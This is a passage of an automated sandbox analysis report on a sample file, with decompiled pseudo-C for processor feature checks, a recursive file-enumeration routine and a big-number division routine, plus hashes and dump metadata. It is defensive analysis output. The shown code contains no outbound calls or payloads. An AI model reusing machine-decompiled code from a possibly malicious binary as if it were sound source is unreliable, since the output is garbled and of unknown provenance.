				 *((intOrPtr*)(_t85 + 8)) = _t78;
				 *((intOrPtr*)(_t85 + 0xc)) = _t83;
				if( ~(_v36 ^ 0x49656e69 | _v40 ^ 0x6c65746e | _v44 ^ 0x756e6547) + 1 == 0) {
					L9:
					_t86 =  *0x1249b08; // 0x2
					L10:
					_v32 = _v36;
					_t53 = _v40;
					_v12 = _t53;
					_v28 = _t53;
					if(_v16 >= 7) {
						_t59 = 7;
						_push(_t68);
						asm("cpuid");
						_t70 =  &_v48;
						 *_t70 = _t59;
						 *((intOrPtr*)(_t70 + 4)) = _t68;
						 *((intOrPtr*)(_t70 + 8)) = 0;
						 *((intOrPtr*)(_t70 + 0xc)) = _t83;
						_t60 = _v44;
						_v24 = _t60;
						_t53 = _v12;
						if((_t60 & 0x00000200) != 0) {
							 *0x1249b08 = _t86 | 0x00000002;
						}
					}
					if((_t53 & 0x00100000) != 0) {
						 *0x1249010 =  *0x1249010 | 0x00000004;
						 *0x1249b04 = 2;
						if((_t53 & 0x08000000) != 0 && (_t53 & 0x10000000) != 0) {
							asm("xgetbv");
							_v20 = _t53;
							_v16 = _t83;
							if((_v20 & 0x00000006) == 6 && 0 == 0) {
								_t56 =  *0x1249010; // 0x2f
								_t57 = _t56 | 0x00000008;
								 *0x1249b04 = 3;
								 *0x1249010 = _t57;
								if((_v24 & 0x00000020) != 0) {
									 *0x1249b04 = 5;
									 *0x1249010 = _t57 | 0x00000020;
								}
							}
						}
					}
					goto L20;
				}
				_t62 = _v48 & 0x0fff3ff0;
				if(_t62 == 0x106c0 || _t62 == 0x20660 || _t62 == 0x20670 || _t62 == 0x30650 || _t62 == 0x30660 || _t62 == 0x30670) {
					_t89 =  *0x1249b08; // 0x2
					_t86 = _t89 | 0x00000001;
					 *0x1249b08 = _t86;
					goto L10;
				} else {
					goto L9;
				}
			}

0x01232e9b
0x01232e9e
0x01232eac
0x01232ebb
0x01233035
0x0123303b
0x0123303b
0x01232ec1
0x01232ec7
0x01232ed2
0x01232ed8
0x01232edb
0x01232edc
0x01232ee0
0x01232ee1
0x01232ee3
0x01232ee6
0x01232ee9
0x01232ef2
0x01232f13
0x01232f14
0x01232f1b
0x01232f1c
0x01232f1d
0x01232f21
0x01232f22
0x01232f24
0x01232f27
0x01232f2a
0x01232f2d
0x01232f72
0x01232f72
0x01232f78
0x01232f7f
0x01232f82
0x01232f85
0x01232f88
0x01232f8b
0x01232f8f
0x01232f92
0x01232f93
0x01232f98
0x01232f9b
0x01232f9d
0x01232fa0
0x01232fa3
0x01232fa6
0x01232fae
0x01232fb1
0x01232fb4
0x01232fb9
0x01232fb9
0x01232fb4
0x01232fc6
0x01232fc8
0x01232fcf
0x01232fde
0x01232fe9
0x01232fec
0x01232fef
0x01233000
0x01233006
0x0123300b
0x0123300e
0x0123301c
0x01233021
0x01233026
0x01233030
0x01233030
0x01233021
0x01233000
0x01232fde
0x00000000
0x01232fc6
0x01232f32
0x01232f3c
0x01232f61
0x01232f67
0x01232f6a
0x00000000
0x00000000
0x00000000
0x00000000

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 01232EB4

Strings

, xrefs: 01233018

Memory Dump Source

Source File: 00000000.00000002.1002474836.0000000001231000.00000040.00020000.sdmp, Offset: 01230000, based on PE: true

Associated: 00000000.00000002.1002466607.0000000001230000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1002492548.0000000001249000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.1002502352.000000000124D000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.1002507213.000000000124E000.00000080.00020000.sdmp Download File
Associated: 00000000.00000002.1002512222.0000000001250000.00000004.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1230000_WVbU1Gf5p8.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-3916222277
Opcode ID: 03ecaf900306e758db9f6a66337277afed39a0e478067627e04b67bcee395c54
Instruction ID: 840e370c91c4dd0bf2713d6efc7046f5a6fa3f09a70c00dd8110d5bcc067b396
Opcode Fuzzy Hash: 03ecaf900306e758db9f6a66337277afed39a0e478067627e04b67bcee395c54
Instruction Fuzzy Hash: DD51A1B19102068FEB25CFADE48A7ABBBF4FB48314F10852AD505E7284E3759A80CF50

Uniqueness

Uniqueness Score: -1.00%

Function 012385AB, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 114
COMMON

Download Yara Rule

C-Code - Quality: 57%

			E012385AB(void* __ecx, intOrPtr* _a4, intOrPtr _a8, signed int _a12, intOrPtr _a16) {
				intOrPtr _v8;
				signed int _v12;
				intOrPtr _v28;
				intOrPtr* _v32;
				CHAR* _v36;
				signed int _v48;
				char _v286;
				signed int _v287;
				char _v288;
				void _v332;
				intOrPtr* _v336;
				signed int _v340;
				signed int _v344;
				intOrPtr _v372;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t35;
				signed int _t40;
				signed int _t43;
				intOrPtr _t45;
				signed char _t47;
				intOrPtr* _t55;
				union _FINDEX_INFO_LEVELS _t57;
				signed int _t62;
				signed int _t65;
				void* _t72;
				void* _t74;
				signed int _t75;
				void* _t78;
				CHAR* _t79;
				void* _t80;
				intOrPtr* _t83;
				intOrPtr _t85;
				void* _t87;
				intOrPtr* _t88;
				signed int _t92;
				signed int _t96;
				void* _t101;
				signed int _t104;
				union _FINDEX_INFO_LEVELS _t105;
				void* _t106;
				void* _t109;
				void* _t110;
				intOrPtr _t111;
				void* _t112;
				void* _t113;
				signed int _t117;
				void* _t118;
				signed int _t119;
				void* _t120;
				void* _t121;

				_push(__ecx);
				_t83 = _a4;
				_t2 = _t83 + 1; // 0x1
				_t101 = _t2;
				do {
					_t35 =  *_t83;
					_t83 = _t83 + 1;
				} while (_t35 != 0);
				_t104 = _a12;
				_t85 = _t83 - _t101 + 1;
				_v8 = _t85;
				if(_t85 <= (_t35 | 0xffffffff) - _t104) {
					_t5 = _t104 + 1; // 0x1
					_t78 = _t5 + _t85;
					_t110 = E012365F3(_t85, _t78, 1);
					_t87 = _t109;
					__eflags = _t104;
					if(_t104 == 0) {
						L6:
						_push(_v8);
						_t78 = _t78 - _t104;
						_t40 = E0123CF9B(_t87, _t110 + _t104, _t78, _a4);
						_t119 = _t118 + 0x10;
						__eflags = _t40;
						if(__eflags != 0) {
							goto L9;
						} else {
							_t72 = E012387EA(_a16, _t101, __eflags, _t110);
							E012364CE(0);
							_t74 = _t72;
							goto L8;
						}
					} else {
						_push(_t104);
						_t75 = E0123CF9B(_t87, _t110, _t78, _a8);
						_t119 = _t118 + 0x10;
						__eflags = _t75;
						if(_t75 != 0) {
							L9:
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							E01236CEB();
							asm("int3");
							_t117 = _t119;
							_t120 = _t119 - 0x150;
							_t43 =  *0x1249004; // 0x5a4607f2
							_v48 = _t43 ^ _t117;
							_t88 = _v32;
							_push(_t78);
							_t79 = _v36;
							_push(_t110);
							_t111 = _v28;
							_push(_t104);
							_v372 = _t111;
							while(1) {
								__eflags = _t88 - _t79;
								if(_t88 == _t79) {
									break;
								}
								_t45 =  *_t88;
								__eflags = _t45 - 0x2f;
								if(_t45 != 0x2f) {
									__eflags = _t45 - 0x5c;
									if(_t45 != 0x5c) {
										__eflags = _t45 - 0x3a;
										if(_t45 != 0x3a) {
											_t88 = E0123CFF0(_t79, _t88);
											continue;
										}
									}
								}
								break;
							}
							_t102 =  *_t88;
							__eflags = _t102 - 0x3a;
							if(_t102 != 0x3a) {
								L19:
								_t105 = 0;
								__eflags = _t102 - 0x2f;
								if(_t102 == 0x2f) {
									L23:
									_t47 = 1;
									__eflags = 1;
								} else {
									__eflags = _t102 - 0x5c;
									if(_t102 == 0x5c) {
										goto L23;
									} else {
										__eflags = _t102 - 0x3a;
										if(_t102 == 0x3a) {
											goto L23;
										} else {
											_t47 = 0;
										}
									}
								}
								_t90 = _t88 - _t79 + 1;
								asm("sbb eax, eax");
								_v340 =  ~(_t47 & 0x000000ff) & _t88 - _t79 + 0x00000001;
								E012333D0(_t105,  &_v332, _t105, 0x140);
								_t121 = _t120 + 0xc;
								_t112 = FindFirstFileExA(_t79, _t105,  &_v332, _t105, _t105, _t105);
								_t55 = _v336;
								__eflags = _t112 - 0xffffffff;
								if(_t112 != 0xffffffff) {
									_t92 =  *((intOrPtr*)(_t55 + 4)) -  *_t55;
									__eflags = _t92;
									_t93 = _t92 >> 2;
									_v344 = _t92 >> 2;
									do {
										__eflags = _v288 - 0x2e;
										if(_v288 != 0x2e) {
											L36:
											_push(_t55);
											_t57 = E012385AB(_t93,  &_v288, _t79, _v340);
											_t121 = _t121 + 0x10;
											__eflags = _t57;
											if(_t57 != 0) {
												goto L26;
											} else {
												goto L37;
											}
										} else {
											_t93 = _v287;
											__eflags = _t93;
											if(_t93 == 0) {
												goto L37;
											} else {
												__eflags = _t93 - 0x2e;
												if(_t93 != 0x2e) {
													goto L36;
												} else {
													__eflags = _v286;
													if(_v286 == 0) {
														goto L37;
													} else {
														goto L36;
													}
												}
											}
										}
										goto L40;
										L37:
										_t62 =  *0x12420e0(_t112,  &_v332);
										__eflags = _t62;
										_t55 = _v336;
									} while (_t62 != 0);
									_t102 =  *_t55;
									_t96 = _v344;
									_t65 =  *((intOrPtr*)(_t55 + 4)) -  *_t55 >> 2;
									__eflags = _t96 - _t65;
									if(_t96 != _t65) {
										E0123CB50(_t79, _t102 + _t96 * 4, _t65 - _t96, 4, E01238403);
									}
								} else {
									_push(_t55);
									_t57 = E012385AB(_t90, _t79, _t105, _t105);
									L26:
									_t105 = _t57;
								}
								__eflags = _t112 - 0xffffffff;
								if(_t112 != 0xffffffff) {
									 *0x12420d8(_t112);
								}
							} else {
								__eflags = _t88 -  &(_t79[1]);
								if(_t88 ==  &(_t79[1])) {
									goto L19;
								} else {
									_push(_t111);
									E012385AB(_t88, _t79, 0, 0);
								}
							}
							_pop(_t106);
							_pop(_t113);
							__eflags = _v12 ^ _t117;
							_pop(_t80);
							return E01232550(_t80, _v12 ^ _t117, _t102, _t106, _t113);
						} else {
							goto L6;
						}
					}
				} else {
					_t74 = 0xc;
					L8:
					return _t74;
				}
				L40:
			}

0x012385b0
0x012385b1
0x012385b4
0x012385b4
0x012385b7
0x012385b7
0x012385b9
0x012385ba
0x012385c4
0x012385c7
0x012385ca
0x012385cf
0x012385d8
0x012385db
0x012385e5
0x012385e8
0x012385e9
0x012385eb
0x012385ff
0x012385ff
0x01238602
0x0123860c
0x01238611
0x01238614
0x01238616
0x00000000
0x01238618
0x0123861c
0x01238625
0x0123862b
0x00000000
0x0123862e
0x012385ed
0x012385ed
0x012385f3
0x012385f8
0x012385fb
0x012385fd
0x01238634
0x01238636
0x01238637
0x01238638
0x01238639
0x0123863a
0x0123863b
0x01238640
0x01238644
0x01238646
0x0123864c
0x01238653
0x01238656
0x01238659
0x0123865a
0x0123865d
0x0123865e
0x01238661
0x01238662
0x01238683
0x01238683
0x01238685
0x00000000
0x00000000
0x0123866a
0x0123866c
0x0123866e
0x01238670
0x01238672
0x01238674
0x01238676
0x01238681
0x00000000
0x01238681
0x01238676
0x01238672
0x00000000
0x0123866e
0x01238687
0x01238689
0x0123868c
0x012386a5
0x012386a5
0x012386a7
0x012386aa
0x012386ba
0x012386bc
0x012386bc
0x012386ac
0x012386ac
0x012386af
0x00000000
0x012386b1
0x012386b1
0x012386b4
0x00000000
0x012386b6
0x012386b6
0x012386b6
0x012386b4
0x012386af
0x012386c2
0x012386ca
0x012386ce
0x012386dc
0x012386e1
0x012386f6
0x012386f8
0x012386fe
0x01238701
0x01238733
0x01238733
0x01238735
0x01238738
0x0123873e
0x0123873e
0x01238745
0x0123875f
0x0123875f
0x0123876e
0x01238773
0x01238776
0x01238778
0x00000000
0x00000000
0x00000000
0x00000000
0x01238747
0x01238747
0x0123874d
0x0123874f
0x00000000
0x01238751
0x01238751
0x01238754
0x00000000
0x01238756
0x01238756
0x0123875d
0x00000000
0x00000000
0x00000000
0x00000000
0x0123875d
0x01238754
0x0123874f
0x00000000
0x0123877a
0x01238782
0x01238788
0x0123878a
0x0123878a
0x01238792
0x01238797
0x0123879f
0x012387a2
0x012387a4
0x012387b8
0x012387bd
0x01238703
0x01238703
0x01238707
0x0123870f
0x0123870f
0x0123870f
0x01238711
0x01238714
0x01238717
0x01238717
0x0123868e
0x01238691
0x01238693
0x00000000
0x01238695
0x01238695
0x0123869b
0x012386a0
0x01238693
0x01238722
0x01238723
0x01238724
0x01238726
0x0123872f
0x00000000
0x00000000
0x00000000
0x012385fd
0x012385d1
0x012385d3
0x0123862f
0x01238633
0x01238633
0x00000000

Strings

., xrefs: 0123873E

Memory Dump Source

Source File: 00000000.00000002.1002474836.0000000001231000.00000040.00020000.sdmp, Offset: 01230000, based on PE: true

Associated: 00000000.00000002.1002466607.0000000001230000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1002492548.0000000001249000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.1002502352.000000000124D000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.1002507213.000000000124E000.00000080.00020000.sdmp Download File
Associated: 00000000.00000002.1002512222.0000000001250000.00000004.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1230000_WVbU1Gf5p8.jbxd

Similarity

API ID:
String ID: .
API String ID: 0-248832578
Opcode ID: c418c09821a7a5b16ec630f80ddc81d15c039ece87fefa64f3f820f500899e4f
Instruction ID: 1330484a687aa7e4b692d931f0b18a681d1b07f128c67a121d3ed224265d8aa3
Opcode Fuzzy Hash: c418c09821a7a5b16ec630f80ddc81d15c039ece87fefa64f3f820f500899e4f
Instruction Fuzzy Hash: A9312BB191010AAFDB258E78DC84EFB7BBDDFC5304F0402A9F618DB251E6709A458B90

Uniqueness

Uniqueness Score: -1.00%

Function 0123AF60, Relevance: 3.5, APIs: 2, Instructions: 464
COMMONCrypto

Download Yara Rule

C-Code - Quality: 90%

			E0123AF60(signed int* _a4, signed int* _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int* _v80;
				char _v540;
				signed int _v544;
				signed int _t197;
				signed int _t198;
				signed int* _t200;
				signed int _t201;
				signed int _t204;
				signed int _t206;
				signed int _t208;
				signed int _t209;
				signed int _t213;
				signed int _t219;
				intOrPtr _t225;
				void* _t228;
				signed int _t230;
				signed int _t247;
				signed int _t250;
				void* _t253;
				signed int _t256;
				signed int* _t262;
				signed int _t263;
				signed int _t264;
				void* _t265;
				intOrPtr* _t266;
				signed int _t267;
				signed int _t269;
				signed int _t270;
				signed int _t271;
				signed int _t272;
				signed int* _t274;
				signed int* _t278;
				signed int _t279;
				signed int _t280;
				intOrPtr _t282;
				void* _t286;
				signed char _t292;
				signed int _t295;
				signed int _t303;
				signed int _t306;
				signed int _t307;
				signed int _t309;
				signed int _t311;
				signed int _t313;
				intOrPtr* _t314;
				signed int _t318;
				signed int _t322;
				signed int* _t328;
				signed int _t330;
				signed int _t331;
				signed int _t333;
				void* _t334;
				signed int _t336;
				signed int _t338;
				signed int _t341;
				signed int _t342;
				signed int* _t344;
				signed int _t349;
				signed int _t351;
				void* _t355;
				signed int _t359;
				signed int _t360;
				signed int _t362;
				signed int* _t368;
				signed int* _t369;
				signed int* _t370;
				signed int* _t373;

				_t262 = _a4;
				_t197 =  *_t262;
				if(_t197 != 0) {
					_t328 = _a8;
					_t267 =  *_t328;
					__eflags = _t267;
					if(_t267 != 0) {
						_t3 = _t197 - 1; // -1
						_t349 = _t3;
						_t4 = _t267 - 1; // -1
						_t198 = _t4;
						_v16 = _t349;
						__eflags = _t198;
						if(_t198 != 0) {
							__eflags = _t198 - _t349;
							if(_t198 > _t349) {
								L23:
								__eflags = 0;
								return 0;
							} else {
								_t46 = _t198 + 1; // 0x0
								_t306 = _t349 - _t198;
								_v60 = _t46;
								_t269 = _t349;
								__eflags = _t349 - _t306;
								if(_t349 < _t306) {
									L21:
									_t306 = _t306 + 1;
									__eflags = _t306;
								} else {
									_t368 =  &(_t262[_t349 + 1]);
									_t341 =  &(( &(_t328[_t269 - _t306]))[1]);
									__eflags = _t341;
									while(1) {
										__eflags =  *_t341 -  *_t368;
										if( *_t341 !=  *_t368) {
											break;
										}
										_t269 = _t269 - 1;
										_t341 = _t341 - 4;
										_t368 = _t368 - 4;
										__eflags = _t269 - _t306;
										if(_t269 >= _t306) {
											continue;
										} else {
											goto L21;
										}
										goto L22;
									}
									_t369 = _a8;
									_t54 = (_t269 - _t306) * 4; // 0xfc23b5a
									__eflags =  *((intOrPtr*)(_t369 + _t54 + 4)) -  *((intOrPtr*)(_t262 + 4 + _t269 * 4));
									if( *((intOrPtr*)(_t369 + _t54 + 4)) <  *((intOrPtr*)(_t262 + 4 + _t269 * 4))) {
										goto L21;
									}
								}
								L22:
								__eflags = _t306;
								if(__eflags != 0) {
									_t330 = _v60;
									_t200 = _a8;
									_t351 =  *(_t200 + _t330 * 4);
									_t64 = _t330 * 4; // 0xffffe9e5
									_t201 =  *((intOrPtr*)(_t200 + _t64 - 4));
									_v36 = _t201;
									asm("bsr eax, esi");
									_v56 = _t351;
									if(__eflags == 0) {
										_t270 = 0x20;
									} else {
										_t270 = 0x1f - _t201;
									}
									_v40 = _t270;
									_v64 = 0x20 - _t270;
									__eflags = _t270;
									if(_t270 != 0) {
										_t292 = _v40;
										_v36 = _v36 << _t292;
										_v56 = _t351 << _t292 | _v36 >> _v64;
										__eflags = _t330 - 2;
										if(_t330 > 2) {
											_t79 = _t330 * 4; // 0xe850ffff
											_t81 =  &_v36;
											 *_t81 = _v36 |  *(_a8 + _t79 - 8) >> _v64;
											__eflags =  *_t81;
										}
									}
									_v76 = 0;
									_t307 = _t306 + 0xffffffff;
									__eflags = _t307;
									_v32 = _t307;
									if(_t307 < 0) {
										_t331 = 0;
										__eflags = 0;
									} else {
										_t85 =  &(_t262[1]); // 0x4
										_v20 =  &(_t85[_t307]);
										_t206 = _t307 + _t330;
										_t90 = _t262 - 4; // -4
										_v12 = _t206;
										_t278 = _t90 + _t206 * 4;
										_v80 = _t278;
										do {
											__eflags = _t206 - _v16;
											if(_t206 > _v16) {
												_t207 = 0;
												__eflags = 0;
											} else {
												_t207 = _t278[2];
											}
											__eflags = _v40;
											_t311 = _t278[1];
											_t279 =  *_t278;
											_v52 = _t207;
											_v44 = 0;
											_v8 = _t207;
											_v24 = _t279;
											if(_v40 > 0) {
												_t318 = _v8;
												_t336 = _t279 >> _v64;
												_t230 = E012403F0(_t311, _v40, _t318);
												_t279 = _v40;
												_t207 = _t318;
												_t311 = _t336 | _t230;
												_t359 = _v24 << _t279;
												__eflags = _v12 - 3;
												_v8 = _t318;
												_v24 = _t359;
												if(_v12 >= 3) {
													_t279 = _v64;
													_t360 = _t359 |  *(_t262 + (_v60 + _v32) * 4 - 8) >> _t279;
													__eflags = _t360;
													_t207 = _v8;
													_v24 = _t360;
												}
											}
											_t208 = E01240180(_t311, _t207, _v56, 0);
											_v44 = _t262;
											_t263 = _t208;
											_v44 = 0;
											_t209 = _t311;
											_v8 = _t263;
											_v28 = _t209;
											_t333 = _t279;
											_v72 = _t263;
											_v68 = _t209;
											__eflags = _t209;
											if(_t209 != 0) {
												L40:
												_t264 = _t263 + 1;
												asm("adc eax, 0xffffffff");
												_t333 = _t333 + E01240220(_t264, _t209, _v56, 0);
												asm("adc esi, edx");
												_t263 = _t264 | 0xffffffff;
												_t209 = 0;
												__eflags = 0;
												_v44 = 0;
												_v8 = _t263;
												_v72 = _t263;
												_v28 = 0;
												_v68 = 0;
											} else {
												__eflags = _t263 - 0xffffffff;
												if(_t263 > 0xffffffff) {
													goto L40;
												}
											}
											__eflags = 0;
											if(0 <= 0) {
												if(0 < 0) {
													goto L44;
												} else {
													__eflags = _t333 - 0xffffffff;
													if(_t333 <= 0xffffffff) {
														while(1) {
															L44:
															_v8 = _v24;
															_t228 = E01240220(_v36, 0, _t263, _t209);
															__eflags = _t311 - _t333;
															if(__eflags < 0) {
																break;
															}
															if(__eflags > 0) {
																L47:
																_t209 = _v28;
																_t263 = _t263 + 0xffffffff;
																_v72 = _t263;
																asm("adc eax, 0xffffffff");
																_t333 = _t333 + _v56;
																__eflags = _t333;
																_v28 = _t209;
																asm("adc dword [ebp-0x28], 0x0");
																_v68 = _t209;
																if(_t333 == 0) {
																	__eflags = _t333 - 0xffffffff;
																	if(_t333 <= 0xffffffff) {
																		continue;
																	} else {
																	}
																}
															} else {
																__eflags = _t228 - _v8;
																if(_t228 <= _v8) {
																	break;
																} else {
																	goto L47;
																}
															}
															L51:
															_v8 = _t263;
															goto L52;
														}
														_t209 = _v28;
														goto L51;
													}
												}
											}
											L52:
											__eflags = _t209;
											if(_t209 != 0) {
												L54:
												_t280 = _v60;
												_t334 = 0;
												_t355 = 0;
												__eflags = _t280;
												if(_t280 != 0) {
													_t266 = _v20;
													_t219 =  &(_a8[1]);
													__eflags = _t219;
													_v24 = _t219;
													_v16 = _t280;
													do {
														_v44 =  *_t219;
														_t225 =  *_t266;
														_t286 = _t334 + _v72 * _v44;
														asm("adc esi, edx");
														_t334 = _t355;
														_t355 = 0;
														__eflags = _t225 - _t286;
														if(_t225 < _t286) {
															_t334 = _t334 + 1;
															asm("adc esi, esi");
														}
														 *_t266 = _t225 - _t286;
														_t266 = _t266 + 4;
														_t219 = _v24 + 4;
														_t164 =  &_v16;
														 *_t164 = _v16 - 1;
														__eflags =  *_t164;
														_v24 = _t219;
													} while ( *_t164 != 0);
													_t263 = _v8;
													_t280 = _v60;
												}
												__eflags = 0 - _t355;
												if(__eflags <= 0) {
													if(__eflags < 0) {
														L63:
														__eflags = _t280;
														if(_t280 != 0) {
															_t338 = _t280;
															_t314 = _v20;
															_t362 =  &(_a8[1]);
															__eflags = _t362;
															_t265 = 0;
															do {
																_t282 =  *_t314;
																_t172 = _t362 + 4; // 0xa6a5959
																_t362 = _t172;
																_t314 = _t314 + 4;
																asm("adc eax, eax");
																 *((intOrPtr*)(_t314 - 4)) = _t282 +  *((intOrPtr*)(_t362 - 4)) + _t265;
																asm("adc eax, 0x0");
																_t265 = 0;
																_t338 = _t338 - 1;
																__eflags = _t338;
															} while (_t338 != 0);
															_t263 = _v8;
														}
														_t263 = _t263 + 0xffffffff;
														asm("adc dword [ebp-0x18], 0xffffffff");
													} else {
														__eflags = _v52 - _t334;
														if(_v52 < _t334) {
															goto L63;
														}
													}
												}
												_t213 = _v12 - 1;
												__eflags = _t213;
												_v16 = _t213;
											} else {
												__eflags = _t263;
												if(_t263 != 0) {
													goto L54;
												}
											}
											_t331 = 0 + _t263;
											asm("adc esi, 0x0");
											_v20 = _v20 - 4;
											_t313 = _v32 - 1;
											_t262 = _a4;
											_t278 = _v80 - 4;
											_t206 = _v12 - 1;
											_v76 = _t331;
											_v32 = _t313;
											_v80 = _t278;
											_v12 = _t206;
											__eflags = _t313;
										} while (_t313 >= 0);
									}
									_t309 = _v16 + 1;
									_t204 = _t309;
									__eflags = _t204 -  *_t262;
									if(_t204 <  *_t262) {
										_t191 = _t204 + 1; // 0x123c57d
										_t274 =  &(_t262[_t191]);
										do {
											 *_t274 = 0;
											_t194 =  &(_t274[1]); // 0x91850fc2
											_t274 = _t194;
											_t204 = _t204 + 1;
											__eflags = _t204 -  *_t262;
										} while (_t204 <  *_t262);
									}
									 *_t262 = _t309;
									__eflags = _t309;
									if(_t309 != 0) {
										while(1) {
											_t271 =  *_t262;
											__eflags = _t262[_t271];
											if(_t262[_t271] != 0) {
												goto L78;
											}
											_t272 = _t271 + 0xffffffff;
											__eflags = _t272;
											 *_t262 = _t272;
											if(_t272 != 0) {
												continue;
											}
											goto L78;
										}
									}
									L78:
									return _t331;
								} else {
									goto L23;
								}
							}
						} else {
							_t6 =  &(_t328[1]); // 0xfc23b5a
							_t295 =  *_t6;
							_v44 = _t295;
							__eflags = _t295 - 1;
							if(_t295 != 1) {
								__eflags = _t349;
								if(_t349 != 0) {
									_t342 = 0;
									_v12 = 0;
									_v8 = 0;
									_v20 = 0;
									__eflags = _t349 - 0xffffffff;
									if(_t349 != 0xffffffff) {
										_t250 = _v16 + 1;
										__eflags = _t250;
										_v32 = _t250;
										_t373 =  &(_t262[_t349 + 1]);
										do {
											_t253 = E01240180( *_t373, _t342, _t295, 0);
											_v68 = _t303;
											_t373 = _t373 - 4;
											_v20 = _t262;
											_t342 = _t295;
											_t303 = 0 + _t253;
											asm("adc ecx, 0x0");
											_v12 = _t303;
											_t34 =  &_v32;
											 *_t34 = _v32 - 1;
											__eflags =  *_t34;
											_v8 = _v12;
											_t295 = _v44;
										} while ( *_t34 != 0);
										_t262 = _a4;
									}
									_v544 = 0;
									_t41 =  &(_t262[1]); // 0x4
									_t370 = _t41;
									 *_t262 = 0;
									E0123903C(_t370, 0x1cc,  &_v540, 0);
									_t247 = _v20;
									__eflags = 0 - _t247;
									 *_t370 = _t342;
									_t262[2] = _t247;
									asm("sbb ecx, ecx");
									__eflags =  ~0x00000000;
									 *_t262 = 0xbadbae;
									return _v12;
								} else {
									_t14 =  &(_t262[1]); // 0x4
									_t344 = _t14;
									_v544 = 0;
									 *_t262 = 0;
									E0123903C(_t344, 0x1cc,  &_v540, 0);
									_t256 = _t262[1];
									_t322 = _t256 % _v44;
									__eflags = 0 - _t322;
									 *_t344 = _t322;
									asm("sbb ecx, ecx");
									__eflags = 0;
									 *_t262 =  ~0x00000000;
									return _t256 / _v44;
								}
							} else {
								_t9 =  &(_t262[1]); // 0x4
								_v544 = _t198;
								 *_t262 = _t198;
								E0123903C(_t9, 0x1cc,  &_v540, _t198);
								__eflags = 0;
								return _t262[1];
							}
						}
					} else {
						__eflags = 0;
						return 0;
					}
				} else {
					return _t197;
				}
			}

0x0123af6c
0x0123af6f
0x0123af73
0x0123af7d
0x0123af80
0x0123af82
0x0123af84
0x0123af91
0x0123af91
0x0123af94
0x0123af94
0x0123af97
0x0123af9a
0x0123af9c
0x0123b0cf
0x0123b0d1
0x0123b11a
0x0123b11e
0x0123b124
0x0123b0d3
0x0123b0d5
0x0123b0d8
0x0123b0da
0x0123b0dd
0x0123b0df
0x0123b0e1
0x0123b115
0x0123b115
0x0123b115
0x0123b0e3
0x0123b0e8
0x0123b0ee
0x0123b0ee
0x0123b0f1
0x0123b0f3
0x0123b0f5
0x00000000
0x00000000
0x0123b0f7
0x0123b0f8
0x0123b0fb
0x0123b0fe
0x0123b100
0x00000000
0x0123b102
0x00000000
0x0123b102
0x00000000
0x0123b100
0x0123b104
0x0123b10b
0x0123b10f
0x0123b113
0x00000000
0x00000000
0x0123b113
0x0123b116
0x0123b116
0x0123b118
0x0123b125
0x0123b128
0x0123b12b
0x0123b12e
0x0123b12e
0x0123b132
0x0123b135
0x0123b138
0x0123b13b
0x0123b146
0x0123b13d
0x0123b142
0x0123b142
0x0123b150
0x0123b155
0x0123b158
0x0123b15a
0x0123b164
0x0123b167
0x0123b16e
0x0123b171
0x0123b174
0x0123b17c
0x0123b182
0x0123b182
0x0123b182
0x0123b182
0x0123b174
0x0123b187
0x0123b18e
0x0123b18e
0x0123b191
0x0123b194
0x0123b3c6
0x0123b3c6
0x0123b19a
0x0123b19a
0x0123b1a0
0x0123b1a3
0x0123b1a6
0x0123b1a9
0x0123b1ac
0x0123b1af
0x0123b1b2
0x0123b1b2
0x0123b1b5
0x0123b1bc
0x0123b1bc
0x0123b1b7
0x0123b1b7
0x0123b1b7
0x0123b1be
0x0123b1c2
0x0123b1c5
0x0123b1c7
0x0123b1ca
0x0123b1d1
0x0123b1d4
0x0123b1d7
0x0123b1e2
0x0123b1e5
0x0123b1ea
0x0123b1ef
0x0123b1f6
0x0123b1fb
0x0123b1fd
0x0123b1ff
0x0123b203
0x0123b206
0x0123b209
0x0123b211
0x0123b21a
0x0123b21a
0x0123b21c
0x0123b21f
0x0123b21f
0x0123b209
0x0123b229
0x0123b22e
0x0123b233
0x0123b235
0x0123b238
0x0123b23a
0x0123b23d
0x0123b240
0x0123b242
0x0123b245
0x0123b248
0x0123b24a
0x0123b251
0x0123b256
0x0123b259
0x0123b263
0x0123b265
0x0123b267
0x0123b26a
0x0123b26a
0x0123b26c
0x0123b26f
0x0123b272
0x0123b275
0x0123b278
0x0123b24c
0x0123b24c
0x0123b24f
0x00000000
0x00000000
0x0123b24f
0x0123b27b
0x0123b27d
0x0123b27f
0x00000000
0x0123b281
0x0123b281
0x0123b284
0x0123b286
0x0123b286
0x0123b294
0x0123b297
0x0123b29c
0x0123b29e
0x00000000
0x00000000
0x0123b2a0
0x0123b2a7
0x0123b2a7
0x0123b2aa
0x0123b2ad
0x0123b2b0
0x0123b2b3
0x0123b2b3
0x0123b2b6
0x0123b2b9
0x0123b2bd
0x0123b2c0
0x0123b2c2
0x0123b2c5
0x00000000
0x00000000
0x0123b2c7
0x0123b2c5
0x0123b2a2
0x0123b2a2
0x0123b2a5
0x00000000
0x00000000
0x00000000
0x00000000
0x0123b2a5
0x0123b2cc
0x0123b2cc
0x00000000
0x0123b2cc
0x0123b2c9
0x00000000
0x0123b2c9
0x0123b284
0x0123b27f
0x0123b2cf
0x0123b2cf
0x0123b2d1
0x0123b2db
0x0123b2db
0x0123b2de
0x0123b2e0
0x0123b2e2
0x0123b2e4
0x0123b2e9
0x0123b2ec
0x0123b2ec
0x0123b2ef
0x0123b2f2
0x0123b2f5
0x0123b2f7
0x0123b30c
0x0123b30e
0x0123b310
0x0123b312
